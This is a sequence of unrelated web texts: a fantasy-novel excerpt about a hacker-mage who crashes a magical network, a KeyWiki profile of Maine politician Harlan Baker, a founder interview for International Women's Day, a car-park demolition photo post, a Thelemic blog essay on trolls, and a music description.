“All right. We’ll have to take this to extremes. Melchior, Scorched Earth. Execute.” His eyes got very wide and he looked like he wanted to object, but I had phrased it as a direct order.
There was a long pause as Melchior prepped the spell. It was too big to keep in active memory. I had time to wonder if I was going too far. Melchior’s voice came again.
“Executing.”
No time for second thoughts now. Scorched Earth is not a spell that can be aborted halfway. Ultimately, all spells draw power from the same source, the primal chaos that churns between the worlds. But my family mostly uses the predigested forces my grandmother and her sisters channel into the net via their mainframe webservers. Scorched Earth isn’t like that. It taps directly into the interworld chaos. That means it’s both very dangerous and very powerful. It also means I don’t have to have web access to run it. Melchior’s voice interrupted my train of thought.
“Scorched Earth successfully implemented,” he said.
With those simple words, the nastiest virus I had yet coded was released into the mweb. If it worked, it would scramble the routers for my whole node band and put my great-aunt’s webhounds smack in the middle of a data storm. There was no way they’d be able to track me through that. There was even a chance of completely fragging them.
“Uh, Boss,” said Melchior.
“Yes. What is it, Mel.”
“I just lost contact with the carrier wave.”
“I thought you couldn’t get in.”
“I couldn’t, but that’s not what I meant. I mean it just cut out completely.”
“It can’t do that, unless…” I trailed off as a really ugly thought occurred to me. I looked at Melchior and he nodded his head.
“There’s no carrier wave and no Mweb line,” he said. “I can’t even get a ping off the backbone. I think we just took the entire net down, Boss.”
“Sweet Necessity,” I murmured. “What have I done now?”
Sitting at the desk in my dorm, I cradled my head in my hands. Melchior sat on the floor nearby. For four hours we’d been trying to establish some kind of link to the mweb. Nothing worked. There was very little doubt now that we’d crashed the whole damn thing. If this was ever traced back to me, I’d have more to worry about than Atropos.
“Well, Mel, I think it’s time we admitted–” He held a hand up.
He cocked his long pointed ears this way and that for a few moments, then got up and walked to the network jack in the wall. Looking confused, he wetted a fingertip and stuck it into the socket. A moment later he let out a prolonged modulated whistle.
“Uh, Boss. I don’t know that you’re going to believe this, but you’ve got new mail.”
“Over the local net?”
“Yes, indeedy.”
“It’s from Cerice. She wants a visual ASAP.”
“Over the local line? That’s going to lock a lot of folks out of their online services. Where is she mailing from?”
“Cerice@shara.gob via AOL.com.”
“Well, so much for AOL for the next twenty minutes or so. I wonder what she’s doing in this DecLocus.”
Cerice is even further down Clotho’s bloodline than I am Lachesis’, making us something like 47th cousins, but we’re of an age and have been friends since our teens. No one seems to know quite how long the children of Fate might live, but none of the family has yet to die of old age or even to look as though they someday might. If it weren’t for a very low birth rate and an actuary’s nightmare of violent death — mostly accidental but occasionally with intent — we’d be legion. As it is, there are certainly fewer than five hundred of us and, counting Cerice and myself, no more than a dozen under the age of forty. Since I’d thought she was home in Clotho’s domain working on a hardware recycling project she’d been rather intense about of late, finding her here seemed almost too odd.
“Melchior, Vlink; Ravirn@melchior.gob via umn.edu to Cerice@shara.gob via AOL.com. Execute.”
“Aye, aye. Searching for shara.gob.” I used the brief pause that followed to drop the spell that altered my appearance. “Contact. Waiting for a response from shara.gob. Lock. Annexing extra bandwidth. Vtp linking initiated.”
Melchior opened his eyes and mouth wide. Three beams of light, green, blue and red, shot forth from these orifices intersecting at a point several feet in front of his face. A translucent golden globe appeared at this juncture. It fogged, then filled with the three dimensional image of a strikingly beautiful young woman. Her hair was so pale as to be almost white. Aside from that, her features bore a strong resemblance to my own, the primary difference being that on her they looked better. She was wearing some sort of formal court gown in a taffeta that seemed to shift from red to gold depending how the light hit it. It was very low cut, but a half jacket prevented it from being indecent.
“Cerice, my darling,” I said. “You’re as ravishing as ever. It’s an absolute pleasure to rest my weary eyes on your delightful features once again.” Even under these circumstances I couldn’t help but be pleased to see her.
“Charming as always, Ravirn. Your absence must be sorely felt at your grandmother’s court.”
“Alas, I think not. While Lachesis has some fondness for me, it seems to be in inverse proportion to my proximity. I suspect that my manner charms less than my nature offends.”
“Speaking of which,” said Cerice, shifting from courtly circumlocution to businesslike directness, “you have a major problem.”
“Oh,” I replied. The change in gears was jarring.
“Look, I know family politics calls for a lot of polite nonsense and frills before finally broaching the real subject for conversation, but you just don’t have the time.”
“All right, I’m willing to dispense with formality. I was dying to ask you how you happened to be in this particular DecLocus at this exact moment anyway. I thought you were home.”
“I was until twenty minutes ago.”
“But-”
She cut me off smoothly. “Yes, I know. The net’s down. I hacked into Clotho’s mainframe and used it to open a single-use one-way gate.”
“That must have been a cast iron bitch.”
She smiled. “It wasn’t that bad. You’re not the only competent coder in this generation. But I didn’t call to exchange hacking tricks. I called to let you know you’re in hot water all the way up to your eyeballs.”
“How hot?” I asked glumly.
“Atropos wants your head.”
Sweat popped out along my browline. But I didn’t dare talk about what was going on over an open link. Also, as much as I liked Cerice, on this topic I didn’t dare trust any of Fate’s children. Besides, there was no way she’d believe the truth.
“That’s not news,” I said, leaning back in my chair and trying to look relaxed. “Atropos has always held a special, black little place in her heart for me. It’s because of my hacking. She writes lousy security algorithms then blames me when I demonstrate it to her.”
“Ravirn, don’t be more of an idiot than usual. We both know she’s security mad. Her firewalls and program killers are better than either Clotho’s or Lachesis’. But you’re an egotistical bastard, and Atropos is the only opponent you think is worth your effort. Unfortunately, you haven’t the wit to crack them without leaving a calling card of some kind so you can gloat about it later.”
“Well, yeah, but…” I wanted to defend myself, but the only argument I had was one I couldn’t make.
“But me no buts. As I said, you haven’t the time. Not after you crashed the whole net. That wasn’t smart.”
“It wasn’t actually my intention.”
“Intention or not, that was the result, and it’s given Atropos the opportunity she’s been waiting for. The net wasn’t down five minutes before she showed up at Clotho’s demesne. They called council, and when Lachesis arrived, Atropos demanded your head. Lachesis apparently has some attachment to you, because she absolutely refused to hear of it. Unfortunately for you, Clotho sided with Atropos.” Cerice paused and cocked her head to the side. “Though I think that might have been as much to see how well you operated under the pressure as anything. She seems to have a soft spot for you, though I can’t imagine why.”
I felt a rushing sensation in my head. I had known, in the abstract at least, that something like this could happen, but I hadn’t really believed it.
“I’m screwed,” I whispered. And I was, in more ways than one. My credibility had just been irrevocably shattered. I had to get that spell crystal now. Without it, any accusation I laid against Atropos would never be believed. My grandmother would just assume I was seeking revenge.
“Yes,” Cerice nodded. “But not quite totally screwed. Atropos couldn’t cut your thread without unanimous agreement.”
I let out a tiny sigh of relief.
“But with the net crashed and Clotho backing her, Atropos was able to get Lachesis to allow a proxy assassination attempt.”
“Moric, Dairn and Hwyl.”
“All three!?” My relief vanished. “Just for little old me?”
“Lachesis only agreed to one attempt. Atropos didn’t want it to fail.”
“When was the conference?”
“About an hour ago.”
“Powers and Incarnations, I’ve got to get moving.” I started to tell Melchior to close the connection, then paused. “Cerice, thank you. If I survive, I’ll owe you my life. If not…. Well, if not, I’ll still owe you a great deal, but you’ll likely have a hard time collecting. I have to know. Why did you warn me?”
She smiled fondly. “Despite your pigheadedness, arrogance, and willful idiocy, you do have an impish sort of charm. The world and I would be the poorer for your passing. Now get out of there.” Her hand waved briefly, then the picture faded away.
“Melchior, log us off and shut down all incoming network traffic.”
“Yes sir, right away, sir. Will we be running away now, sir?”
“Damn straight we’ll be running away.” So much for the promise I’d given Lachesis to improve my grades.
“Very good, sir. Brightest thing you’ve done all day, sir.”
“Don’t push your luck, blue boy. I might leave you as a distraction for the assassins. Now, Mel, I want you to–Chaos and Discord!” It hit me like a ton of bricks.
“Ah… I’m not sure I’m familiar with that one, boss.”
“Mel, the net’s down. The hit team will be coming the same way Cerice did. We have no way of knowing when they’ll arrive. For that matter they could be here already.”
The impulse to run out the door was almost overwhelming. I choked it down. I had to run, but I had to run smart. Moving as quickly as possible, I grabbed my rapier and a left-handed shoulder holster out of the trunk. When those were strapped on, I leaned down and tapped the combination into the speed-draw gunsafe bolted to the underside of my bed.
The drawer popped open, and I pulled out my beat-on but much loved Colt .45. Before holstering the old model 1911, I worked the slide to chamber a round, flipped the safety on and popped the clip. Then I loaded another bullet and returned the clip to the pistol.
As no one had yet broken my door in, I took the time to kick off my boots and jeans and swap them for TechSec racing leathers. Finally, I grabbed the shoulder bag I keep packed for emergencies.
“Come on, Melchior.” I opened the flap on my bag. “Let’s go.”
“It’s about time,” replied the goblin as he climbed into the bag. “You were moving so slowly I thought you were going to put down roots.”
“Listen,” I began, then thought better of it. “Later, if I’m still alive, I’m going to rework your OS.” I snatched my motorcycle helmet and gauntlets and opened the door.
Copyright © Kelly McCullough 2006. May not be reproduced without the author’s permission.
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Harlan Baker
From KeyWiki
1 State legislature
2 Young People's Socialist League
3 Prominent DSOC member
4 Chicago DSOC
5 Bernie Sanders fundraiser
6 DSA contact
6.1 Occupy Portland
7 Maine DSA
8 Bernie delegates
9 Socialist Caucus at 2016 DNC
10 DSA Democrat
11 Bernie delegates
12 Cumberland County Democrats
13 Conquering the Democrats
14 Pingree connection
15 Midcoast Maine DSA Closed Facebook Group
16 Democratic Socialists of America Unity
17 Get Money Out of Politics
18 Lobbying Angus King
19 “It Can’t Happen Here”
20 Bowlsheviks
21 "Say no to racism"
22 DSA comrades
23 Local dignitaries
24 DSA North Star
Harlan Baker was one of the founding members of the Democratic Socialist Organizing Committee.[1]
Baker is an adjunct lecturer for the Theater department for the University of Southern Maine where he has been teaching for the past 24 years. He is a former member of the Maine legislature, where he served on the Joint Standing committee on Labor. He is currently a member of the Part Time Faculty Association at the university, local 4593 of the American Federation of Teachers AFL-CIO. As an actor he has performed with numerous professional theater companies throughout New England most recently with the Mad Horse Theatre Company of Portland in their production of “The Late Henry Moss.”[2]
Baker served in the Maine State Legislature from 1979 -1988. He sponsored legislation dealing with worker owned cooperatives municipally owned power districts, and a State owned Bank. He was the sponsor of legislation to divest state pension money from business investing in South Africa during Apartheid.
Young People's Socialist League
Harlan Baker February 18, 2017 ·
With Alex Spinrad in Tel Aviv. Alex and I first met at the Young People's Socialist League convention in California in 1971.
He made ayliah to Israel in the early 80s.
Prominent DSOC member
According to Democratic Socialist Organizing Committee founder and chairman Michael Harrington, the influence of the group is disproportionate to its size because of the positions held by some DSOC members within the Democratic Party.
In 1980 prominent DSOC members included Rep, Ronald Dellums (D-CA); Hilda Mason, D.C. City Council, Harlan Baker, Maine state legislature; Jerry Nadler, New York state legislature, Perry Bullard, Michigan state legislature; Ruth Messinger, New York City Council; Harry Britt, San Francisco Board of Supervisors; Patrick Gorman, chairman of the board, Amalgamated Meatcutters; William Winpisinger, president, International Association of Machinists ; Irving Bluestone, vice president, United Auto Workers; Martin Gerber, vice-president, UAW, Sol Stetin, senior vice-president, Amalgamated Clothing and Textile Workers , Joyce Miller, national president, Coalition of Labor Union Women ; Dolores Huerta, vice-president, United Farmworkers, Cleveland Robinson, president, District 65, UAW; Victor Gotbaum, head of District Council 37, American Federation of State, County and Municipal Employees , New York, Mildred Jeffrey; Victor Reuther; James Farmer; Nat Hentoff; Gloria Steinem; Rosemary Reuther; Harvey Cox and Irving Howe.[3]
Chicago DSOC
In 1977 Harlan Baker was involved in Democratic Socialist Organizing Committee in Chicago.
Bernie Sanders fundraiser
During the summer and fall of 2006 Democratic Socialists of America Political Action Committee helped DSA activists around the country, “from San Diego up to Maine” to host house parties to raise funds that helped Bernie Sanders become the sole Socialist in the U.S. Senate.
In Portland, Maine DSAer Harlan Baker and AFL-CIO officer Burt Wartell co-hosted a backyard veggie burger cookout that drew participants from the local Democrats. [4]
DSA contact
In 2009 Harlan Baker was Maine contact for Democratic Socialists of America[5].
He is also is a member of the Boston Democratic Socialists of America Speakers Bureau.[6]
Occupy Portland
Democratic Socialists of America member Harlan Baker performed a scene from his one man play, Jimmy Higgins, at Monument Square in Portland, Maine for the demonstration. Jimmy Higgins has long stood for the name of the rank-and-file union and socialist activist. During his performance at Occupy Portland, Baker performed a scene in which Jimmy Higgins listens to Eugene Debs give his famous 1918 speech in Canton, OH. During this speech, Debs urged those present to resist the military draft of World War I. He was arrested 14 days later on 10 counts of sedition, and later sentenced to ten years in prison, two of which he served.[7]
Maine DSA
Monday, June 6, 2016 Portland Public Library 5 Monument Square (Congress & Elm) Meeting Room 5 Portland, ME.
This will be the first organizational meeting to form a new chapter of the Democratic Socialists of America here in Maine. David Duhalde, Deputy Director of the national office will be speaking along with Harlan Baker and Michael Sylvester
Bernie delegates
The national delegates elected for Sen. Bernie Sanders at the Maine Democratic party convention in may 2016 were were: Diane Denk, Vanessa Sylvester, Liz Smith, Todd Ricker, Seth Berner, Justin Beth, Cokie Giles, Cynthia Soma-Hernandez, Jesse Lambert, David Bright, Ursa Beckford, Severin Beliveau, David Weeda, Denise Groves, former state Rep. Harlan Baker, state Rep. Diane Russell and state Rep. Deane Rykerson.[8]
Socialist Caucus at 2016 DNC
Over 300 Sanders activists attended Democratic Socialists of America’s “Socialist Caucus” on Wednesday afternoon, July 27th, 3016. In the audience were over 100 Sanders delegates, including most of DSA’s 55 member-delegates; they were joined by Larry Sanders, Senator Sanders’ brother, and the Senator’s son, Levi Sanders.
Numerous participants remarked on social media that the caucus was one of the most substantive meetings at the convention. A score of participants joined DSA on the spot and the DSA table rapidly sold out of its 50 bright red DSA “Continuing the Political Revolution” T-shirts.
Shout-outs to all the DSA delegates and volunteers who helped build the caucus. In particular, Tom Gallagher, Penny Schantz, Paul Garver, Harlan Baker, Ashley Rodriguez, Danny and Barbara Fetonte, Larry Wittner, Rachel Ochs, Rebecca Ryan, Diane Isser and the list goes on...[9]
DSA Democrat
Harlan Baker (Portland Maine), was a Democratic Socialists of America, Bernie Sanders delegate to the 2016 Democratic National Convention in Philadelphia.
"I'm enthused about Bernie's campaign because for the first time in my life I get to support a presidential campaign that has taken socialism out of the closet."[10]
The national delegates elected for Sen. Bernie Sanders at the Maine Democratic party convention in may 2016 were were: Diane Denk, Vanessa Sylvester, Liz Smith, Todd Ricker, Seth Berner, Justin Beth, Cokie Giles, Cynthia Soma-Hernandez, Jesse Lambert, David Bright, Ursa Beckford, Severin Beliveau, David Weeda, Denise Groves, former state Rep. Harlan Baker, state Rep. Diane Russell and state Rep. Deane Rykerson.[11]
Cumberland County Democrats
Officers, October 9, 2015
Chair: Rachel Hendricksen, Scarborough
1st Vice Chair: Harlan Baker, Portland
2nd Vice Chair: Kathleen Worcester, Westbrook
Secretary: Barney McClelland, Yarmouth
Treasurer: Tim Goodwin, Standish[12]
Conquering the Democrats
Maine Democratic Socialists of America posted on Facebook November 18 at 5:53am ·
Good night for the DSA slate at the Cumberland County Democrats:
Harlan Baker and Kathleen Worcester are now Vice Chairs
Barney McClelland is now Secretary
Tim Goodwin is now Treasurer
Shannon McCartney came within 4 votes of taking the Chair.
It is time for a new direction!
Pingree connection
Harlan Baker with Joey Brunelle and Jeremy Mele and Seth Berner. May 11, 2017 at 1:09pm
Members of the Southern Maine Democratic Socialists meet with Jesse Connolly, chief of staff for Congresswoman Chellie Pingree. Topics ranged from health care to crafting progressive messages and programs.
Midcoast Maine DSA Closed Facebook Group
As of June 19, 2017;[13]
Andy O'Brien
D. Thomas Cookson
Diane Russell
Carl E. Pease
Democratic Socialists of America Unity
Harlan Baker supported the Democratic Socialists of America Unity grouping, established for the 2017 Democratic Socialists of America National Convention in Chicago.[14]
Get Money Out of Politics
Get Money Out of Politics - featuring Larry Lessig. Hosted by Zak Ringelstein , Sweet For Governor, Southern Maine Democratic Socialists of America, Sierra Club Maine
Saturday, April 7 at 1 PM - 3 PM.
Luther Bonney Hall, Portland, Maine 77059.
We at Ringelstein for U.S. Senate are thrilled to announce that we are hosting a summit on the importance of getting money out of politics on April 7, 2018 from 1:00-3:00pm at the University of Southern Maine.
Lawrence Lessig|Larry Lessig, leading academic on corruption in American politics, will keynote the event.
The event will also feature a talk by University of Maine School of Law Dean Danielle Conway and small discussions led by the Sierra Club Maine, the Committee for Ranked Choice Voting, Equality Maine, Southern Maine DSA, and Maine Citizens for Clean Elections. In addition, there will be a panel discussion on corruption with Senator Justin Chenette (Saco), Rep. Mike Sylvester (Portland), gubernatorial candidate Betsy Sweet, and former Rep. Harlan Baker.
Lobbying Angus King
Harlan Baker May 27, 2018:
With the regional director for Senator Angus King (I)-Maine, Ben Tucker,advocating support for Senator Bernie Sanders letter to Secretary Mike Pompeo to address the humanitarian crisis in Gaza. The letter urged as a first step restoration of funding for the United Nations Relief Agency and Works Agency for Palestinian Refugees (UNRWA). The meeting lasted an hour. In addition three messages from Israelis were also delivered.
“It Can’t Happen Here”
Harlan Baker January 20, 2018:
Cast of the Maine DSA staged reading of “ It Can’t Happen Here”. - January 20 th — with Kenneth Lynx, Meg Anne, Carl E. Pease, Cynthia Adair Grier Handlen, Mikayla Damon, Herb Adams, Seth Berner, Kelley McDaniel, Barney McClelland and Vinny O'Malley at Maine Irish Heritage Center.
Bowlsheviks
Harlan Baker May 1, 2018:
Bowling with comrades- May Day bowling party at Bayside Bowl- with Democratic Socialists of America, International Socialist Organization, Socialist Party USA, and the IWW. — with Owen Albatross Hill, Amy Gaidis, Seth Berner, Kate Sykes, Jon Torsch, Marc Normandin, Barney McClelland and Todd Chretien at Bayside Bowl.
"Say no to racism"
Harlan Baker June 1, 2018:
Tonight’s Say NO to Racism stand. Monument Square is fast becoming Portland’s answer to London’s Hyde Park. In addition to us there was a demonstration against the killings in Gaza,a lone demonstrator asking us to believe in God, petitioners for Planned Parenthood, and leafleting for the League of Women Voter’s guide for the June elections. — with Craig C. Dorais, Tim Goodwin, Barney McClelland, Bob Maheu, Eileen Manglass, Shaaron Hendry, Seth Berner and Barbara White.
DSA comrades
Harlan Baker January 15, 2018
With Jaigene Kang, Marjorie Phyfe, Cynthia Adair Grier Handlen, Chris Trevet, Mike Sylvester and Seth Berner.
Local dignitaries
Harlan Baker January 9, 2018:
Mike Desjardins speaking on what socialism means to him at last night’s Southern Maine Democratic Socialist of America meeting. In addition to electing new officers, a representative from the Southern Maine Workers Center spoke about the current campaign for Paid Family Leave in Portland. Others in attendance were State reps Mike Sylvester, and Ben Collings. Democratic US Senate candidate Zak Ringelstein and Mayor Ethan Strimling were there as as observers.
In 2018 Harlan Baker was an original signatory of the DSA North Star founding principles statement.
↑ http://www.dsaboston.org/speakersbureau.pdf
↑ Talking Union JIMMY HIGGINS: A new play about a labor and political activist to be performed in Madison, Wisconsin Posted on March 24, 2011
↑ Information Digest, September 19, 1980, page 331
↑ TYR, August 2006
↑ http://www.dsausa.org/about/locals.html
↑ DSA: DSA Members Participate in Occupy Wall Street (accessed on Nov. 2, 2011)
↑ DSA DSA Leads Socialist Caucus at DNCPosted by Joseph M. Schwartz on 08.12.16
↑ Support DSA Delegates at the DNC
Retrieved from "https://keywiki.org/index.php?title=Harlan_Baker&oldid=434059"
Democratic Socialist Organizing Committee
Maine OC Democratic Socialists of America
Midcoast Maine Democratic Socialists of America
DSA-Affiliated Candidates and Elected Officials
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Killer’s Female Founder Talks Leadership on International Women’s Day
By Erin McCoy March 8, 2019 December 19th, 2019 Killer Employee Spotlight, Killer Visual Strategies News & Updates
Since 2010, Killer Infographics has had CEO and cofounder Amy Balliett at the helm. So, in honor of International Women’s Day — which takes place every year on March 8 — we decided to interview Killer’s female founder about the leaders and organizations she admires, and the unique challenges that female business founders face.
Under Amy’s leadership, Killer Infographics has gone from a self-funded startup to one of the fastest-growing private companies in the nation in just 8 years’ time. Amy has become a thought leader in the exponentially growing industry of visual communication: she has spoken at 175 conferences around the globe, including at SXSW, Adobe MAX, and SMX Advanced. She is also an instructor at Seattle’s School of Visual Concepts, a guest lecturer at the University of Washington, and a columnist for Inc.
Here’s what Amy told us about her experience as a woman and entrepreneur — and the advice she shared for other women leaders.
1. Who is one woman leader or business owner you find inspiring, and why?
Dani Cone. Dani is the owner of Fuel Coffee (launched in 2005), High 5 Pie (launched in 2008), and Cone & Steiner General (launched in 2014). I had the privilege of meeting Dani this year when I joined her as a finalist for the Nellie Cashman Award. Within minutes of meeting her, I immediately felt that she embodied the values of the award and was the one who deserved it most. And clearly, the panel of judges agreed, and rightly chose her for the honor!
In a world where brick and mortar continues to face the heavy competition of ecommerce, Dani hasn’t shied away from not only growing, but expanding her portfolio of unique food and drink experiences. Rather than playing it safe, she has taken on new challenges because she’s driven by a passion to delight her customers and provide people with great places to meet and connect. It’s inspirational to see her commitment and drive, and to know that all of it comes from a desire to make people happy.
When I moved to Seattle from Cleveland, I found myself spending hours a day at Fuel. It was a place I could work quietly, hunker down with a great book, or meet up with friends. It became one of the first places that felt like home in a new city — not because it was a common stomping ground for friends, but because the atmosphere was so inviting and values-driven. You could tell that it was run by a team of people who genuinely loved hospitality, and that’s what drives customer loyalty.
One of the most important jobs of any business owner is to create and maintain a positive culture. That’s hard enough to do in a single office, but Dani has done it across multiple storefronts and business entities … and that culture spreads to her customers. She’s extremely inspiring and I believe all business owners could learn a thing or two from her.
2. What are some of the unique challenges that female founders face? What advice would you give to other female founders about how to overcome these obstacles?
As a female founder, it’s more important than ever to exude confidence in all of your interactions. This means speaking with authority and being fully knowledgeable about your product, people, and processes. This also means coming to the table with a full understanding of every possible objection someone might have and being prepared with an educated response.
The majority of people don’t have any preconceived notions about men and women in leadership positions these days, but they simply don’t see a lot of women as CEOs. As a result, there is a subconscious expectation that the man in the room is likely the leader.
There have been a number of instances in meetings when my male employees were treated as having more authority than myself. Rather than letting that throw me, I’ve always taken advantage of the fact that my confidence is unexpected and therefore a powerful tool that I can wield.
Unfortunately, though, confidence can be a double-edged sword. People who are not used to or comfortable with a confident female leader can sometimes perceive her as too aggressive while her male counterpart, who may say or do the exact same things, gets labeled “a great strategic thinker.”
Don’t let this stop you. Some people need to be pushed out of their comfort zones; some just haven’t had an experience that made them question the status quo. And only a few people truly harbor biases that you won’t be able to change.
3. Are there any groups, conferences, or resources that you would recommend for women in business?
Definitely. I would highly recommend the Female Founders Alliance (FFA), which is dedicated to helping women start and grow their companies.
It’s not gender-focused group, but I would also highly recommend the Entrepreneur’s Organization (EO). I have learned more from EO than any other group, and the more women that join, the better.
EO, which is highly dedicated to growing its female membership, provides business owners with a lifetime of support and friendships from colleagues that experience the same challenges and successes. Through sharing knowledge, lessons, and experiences EO members grow their companies faster and smarter together.
4. How can business owners help create more gender-balanced world?
All leaders, entrepreneurs, CEOs, and managers should make it their goal to hire a diverse workforce. This not only supports a more gender-balanced world — it also makes for stronger, more agile companies. People with different experiences and perspectives from your own will bring ideas and innovations to the table that you never would have thought of yourself.
Dani Coneentrepreneurshipfemale entrepreneursfemale foundersFemale Founders AllianceInternational Women's Dayleadership
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Author Erin McCoy
Erin McCoy is director of content marketing and public relations at Killer Visual Strategies. She earned her BA in Spanish with minors in French and Russian, and holds 2 master’s degrees from the University of Washington: an MFA in creative writing and an MA in Spanish literature. She has won nearly 2 dozen awards in photojournalism, and has dedicated those skills to boosting Killer’s brand recognition and thought leadership in visual communication. Since Erin took on her marketing/PR role, Killer has been named a member of the Inc. 5000 for 4 years in a row; has been featured in such publications as Inc., Forbes, Mashable, and the Huffington Post; and has been invited to present at such conferences as SXSW and SMX Advanced.
More posts by Erin McCoy
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Wyvern Theatre multi story car park 2016
AFTER years in the pipeline an application to demolish the Wyvern Theatre multi-storey car park has been submitted for approval. The destruction of the dilapidated structure, built in 1972, has been in the offing ever since the Whalebridge multi-storey car park was completed 18 months ago. If given approval it will come down in the latter months of this year, with hopes the demolition will be completed by next January. The whole area has been set aside for redevelopment and bringing down the Wyvern car park is a key element to the project, known as the Kimmerfield development. As well as the Wyvern car park, one adjacent to the bus station is also set to be demolished over the summer. Garry Perkins (Con, Haydon Wick), Swindon Borough Council member for regeneration, said: “We are in the process of removing many of the car parks in the town centre to replace them with modern ones. “The Wyvern (car park) is currently not fit for purpose. It doesn’t have adequate lighting or security and many of the spaces are not wide enough so you end up knocking doors with the car next to you. “Now the Whalebridge car park is complete, along with the one at Regent Circus there are far better facilities for people parking in the town centre.” Promoted stories Recommended by The plan is for a new museum and art gallery to be eventually located at that site when funding is secured as the whole area is transformed. Shopmobility, which is currently on the ground floor, will move to Sanford House just around the corner while an improvement to the theatre entrance will be constructed so disabled people can access the building. Once the car parks are down, the next stage on the Kimmerfield development will see the bus station moved on to Fleming Way. “It won’t happen straight away but this shows we are making progress with the development,” said Cllr Perkins.
Showing the connecting walkway Courtesy of Paul Skillen
The walkway connecting the car park to the Theatre was knocked down in November
December 23rd,demolition has begun so I decided to quickly take a few pics
Many poor souls have committed suicide jumping off this car park
Shop Mobility
Viewed from Edgeware road
Edgeware road
There are the remains of flowers left tied to that sign post in someones memory
Starting of the pile of rubble
Poorly fitted Heras fencing
Now this is Shop Mobility`s old shop..I worked on this in early 1996
Entrance and exits to and from the levels above
Exit from above
Filthy habit
It has
I will add more pics as at various stages of demolition
January 6th 2016 and demolition has begun
I dont think it will take long to flatten this
Visited January 16th 2016 and demo is well under way
Took these around 8-15am just as the sun was rising
Viewed from outside the Theatre facing what would have been the connecting pathway to the car park.
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A preliminary initial Thelemic analysis of Stalkers, Trolls and Antagonists
My observation is this: stalkers, trolls and antagonists refuse to mind their own business and stop interfering with other people. Of course, they will say it is their Will to do what they do, but what they are really is a slave to their deep-seated emotional and psychological need for validation; and are not pursuing any kind of True Will, life purpose, of their own at all, but attempting to salve the sucking wounds they suffer from deep seated damaged desires at the expense of others, instead of seeking therapy or properly self-medicating themselves out of the way.
They are, in fact, some kind of Black Brothers, one and all. These creatures captured by their own egos are all unable to reconcile their deep psychological wounds and damaged personalities with the right of others to simply say “No!” to anything more to do with them. And, even this denied right to say “No!” is predicated on the illusion that the other has ever said “Yes” to begin with, and ends up being a kind of broken opt-out mechanism from abuse. What it comes down to is this fact: there are some people who hate themselves so much, and, because they are unable to reconcile that feeling, they will externalize their hate on anyone or someone specific that is a convenient target. After all, it is injustice that they can’t have their infantile demands fulfilled forthwith by someone else! There are sometimes even legendary levels of ultimately meaningless constructed illusion and phantasm completely divorced from reality necessary to justify their actions.
Disingenuous self-justifications may be proffered such as that they are “helping” people but at the core they are focused on what other people are up to and emphatically not doing their own work, or that they are being righteous and seeking justice, but at the core they are focused on getting others to do something that serves not the other but the person doing the interfering.
Maybe a dumb example, but (the primary advantage of this anecdote is that he’s dead now and is thus quite unlikely to throw a tantrum or have a hissy fit): my father used to do things like say he wanted to take me to a shop to buy me a gift. We would then go to some store, usually some place he suggested; and there he would say I should look around for something I liked. However, while I was looking he would do everything in his power to steer me to some specific items he had already selected, under the guise of attempting to “help” me find something I liked. In the end, if I was not amenable to being herded toward selecting as my choice some pre-selected gift he would get frustrated and create some kind of row in order to get out of buying me anything at all other than his gift, or anything at all if I still not a willing to succumb to the inexorable indirect demand to do what he wanted, which he could have simply purchased without my involvement in the process to begin with; thus proving that there was ulterior motive to the drama. In the end, I simply refused to participate in the sham any longer as it was a waste of my time and personally insulting to be expected to act as a puppet in the pantomime.
This kind of “helping” is a deeply suspect kabuki, entirely a constructed plot that the “helper” is attempting to manipulate others into acting out for them, usually in order to get some validation for themselves. In any case, the script appears to be written out of a desire to control others. In other words, these would-be centres of attention and sycophantic demanders of praise are of the vicious and venomous creeping conviction that they are the lead actors in someone else’s story when, in fact, they are not likely to even be more than a voiceless, faceless and uncredited extra, at most.
Stalkers, trolls and antagonists are not following their True Will, but are grasping desperately onto the tails of other people going about their own work and Work. This is fundamentally the opposite of finding and expressing one’s own True Will but is unilaterally and co-dependently demanding to be allowed into orbit around someone from whom they think they can suckle attention and feedback, positive or negative. These people are psychic vampires in need of being staked, and diseased social boils in need of being lanced.
Unfortunately, the heroic and hopeful Van Helsing and Dr Kildare in their attempt to be free from such interfering influences appear to be the aggressive party when they attempt to implement a cure to this parasitic perfidy. Those stalkers, trolls and antagonists fly into hysterics at the affront when confronted, and flop into pseudo-victimized apoplexy; violently dramatizing their plight at the hands of their target who dares try to defend themselves from distracting bites and defenestrate the annoying insects. And, unpleasantly, when one manages to eject the trash, the stench of its passing lingers far too long.
[Originally posted over on John Griogair Bell’s Blog at A preliminary initial Thelemic analysis of Stalkers, Trolls and Antagonists]
This entry was posted in The Hermetic Library, The Opinion Pages, Thelema and tagged anecdote, antagonists, apoplexy, attention, black brothers, centre, control, conviction, creatures, cure, desires, disease, drama, ego, egos, emotion, hate, illusion, in other words, influence, injustice, John Griogair Bell, justifications, life purpose, limitation, meaning, mind, mind your own business, motive, observation, personalities, Power, psychological need, psychological wounds, reality, seeking justice, Self, stalkers, story, target, trolls, true will, validation, vampires, venom on March 24, 2013 by John Griogair Bell.
Initium Novum
Initium Novum by Mahatma Dalí
(Dalí)
The last segment to the Lux Lucis album, this piece of the Occult Sonicart release is entitled, “Initium Novum”. This final fragment is not meant so much to be conclusive as it is meant to relay one back into the first segment, “Terminus ut Vetus”. What this sonic atmosphere is intended to convey is the internal battle between the Light and Dark — the Self and Ego. It is not a war that can necessarily be won by either side, but oftentimes we find ourselves feeding one side more than the other — providing that part of ourselves a momentary instant of more influence. The composition of this track includes vocal parts contributed by Mahatma Dalí’s id, The Masterless. The inclusion of The Masterless practically felt necessary, considering Mahatma Dalí has been referred to as the ‘egoless alter’ and The Masterless, the ‘alter ego’. It is a haunting registry indeed, whether it is the tail of the serpent or its head is irrelevant. For with the Ouroboros, everything comes full circle.
Mahatma Dalí, a composer of vanishing-point music, strives to provide the masses with a unique listening experience. While the sustained tone branch of minimalist music is about as far away from music as it can get before it ceases to be musical, there is something undeniably rhythmic and hypnotic about it — the very things M. Dalí accentuates on.
The harmonic (and quasi-harmonic) tone-clusters that culminate M. Dalí’s brand of dronology are riveting in a way that becomes increasingly difficult to describe as it plays out. When you couple this with the conceptual soundscapes that they articulate within, you’ll find what the ear would otherwise dismiss as tumultuous becomes a sonic scenery wherein which your imagination is the only limiting factor in this auditory experience.
Follow Mahatma Dalí via
Anthology Profile
Hermetic Library Anthology Project – Magick Music and Ritual 6
Hermetic Library Anthology Album – Magick, Music and Ritual 6 by The Hermetic Library
This entry was posted in Hermetic Library anthology and tagged 2013, anthology album, dark, ego, imbolc, light, mahatma dali, minimalist music, music, Self, soundscapes, tone clusters, winter on February 12, 2013 by John Griogair Bell.
In Nomine Babalon, CVIII
CVIII
I give up my ego and all that I am,
